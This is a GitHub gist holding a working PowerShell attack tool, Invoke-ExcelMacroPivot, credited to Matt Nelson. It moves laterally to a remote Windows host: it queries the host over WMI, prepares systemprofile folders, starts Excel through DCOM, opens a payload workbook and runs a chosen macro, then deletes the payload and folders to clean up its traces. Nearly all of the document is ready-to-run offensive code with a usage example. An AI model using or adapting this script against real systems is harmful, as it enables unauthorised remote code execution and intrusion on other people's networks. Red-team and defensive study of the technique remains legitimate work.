Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
function Invoke-ExcelMacroPivot{
<#
.AUTHOR
Matt Nelson (@enigma0x3)
.SYNOPSIS
Pivots to a remote host by using an Excel macro and Excel's COM object
.PARAMETER Target
Remote host to pivot to
.PARAMETER RemoteDocumentPath
Local path on the remote host where the payload resides
.PARAMETER MacroName
The name of the macro residing in the payload document
.EXAMPLE
PS C:\> Invoke-ExcelMacroPivot -Target "192.168.99.152" -RemoteDocumentPath "C:\Book1.xlsm" -MacroName "Auto_Open"
Executes the "Auto_Open" macro from C:\Book1.xlsm on the host 192.168.99.152
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
$Target,
$RemoteDocumentPath,
$MacroName
)
$32BitPath = "\\$target\c$\Windows\System32\config\systemprofile\Desktop"
$64BitPath = "\\$target\c$\Windows\SysWOW64\config\systemprofile\Desktop"
#Connect to remote host via WMI for reg enumeration
try{
Write-Verbose "Connecting to StdRegProv on $target"
$remoteReg = [WMIClass]"\\$target\ROOT\default:StdRegProv"
}catch{
throw "Could not connect to StdRegProv"
}
try{
Write-Verbose "Getting OS Architecture of $target"
$OSArch = @(Get-WmiObject -ComputerName $target -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
}catch{
throw "Could not get OS Arch."
}
#Check if Office is installed
$hklm = [uint32]'0x80000002'
$OfficeResult = $remoteReg.CheckAccess($hklm, 'SOFTWARE\Microsoft\Office',1)
function Local:Prep-Target{
if ($OSArch -eq "64") {
try {
Write-Verbose "Creating both 32 and 64 bit Profile directories"
[system.io.directory]::createDirectory($32BitPath)
[system.io.directory]::createDirectory($64BitPath)
} catch {
throw "Unable to create directory"
}
} elseif ($OSArch -eq "32") {
try {
Write-Verbose "Creating 32 bit profile directory"
[system.io.directory]::createDirectory($32BitPath)
} catch {
throw "Unable to create directory"
}
} else {
throw "OS Arch not determined"
}
}
function Local:Cleanup-Target{
if ($OSArch -eq "64") {
try{
Write-Verbose "Deleting both 32 and 64 bit profile directories"
[system.io.directory]::Delete($32BitPath)
[system.io.directory]::Delete($64BitPath)
} catch{
throw "Unable to delete directory"
}
} elseif ($OSArch -eq "32") {
try{
Write-Verbose "Deleting 32 bit profile directory"
[system.io.directory]::Delete($32BitPath)
} catch{
throw "Unable to delete directory"
}
}
try{
Write-Verbose "Deleting payload from $RemoteDocumentPath on $target"
$UNCPath = "\\$target\c$\" + $RemoteDocumentPath.Replace("C:\","")
[system.io.file]::Delete($UNCPath)
} catch {
throw "Unable to cleanup payload"
}
}
If ($OfficeResult.BGranted -eq $True) {
Write-Verbose "Prepping $target"
Prep-Target
Write-Verbose "Activating Excel.Application on $target"
$Excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",$target))
Write-Verbose "Opening payload"
$WorkBook = $Excel.Workbooks.Open($RemoteDocumentPath)
Write-Verbose "Executing Macro $MacroName from $RemoteDocumentPath"
$Excel.Run($MacroName)
$WorkBook.Close()
$Excel.Application.Quit()
$Excel.Quit()
[System.Runtime.Interopservices.Marshal]::FinalReleaseComObject($Excel)
Write-Verbose "Sleeping 10 seconds for FinalReleaseCOMOBject() to finish"
Start-Sleep 10
Write-Verbose "Cleaning up $target"
Cleanup-Target
} else{
throw "Office not installed on target"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment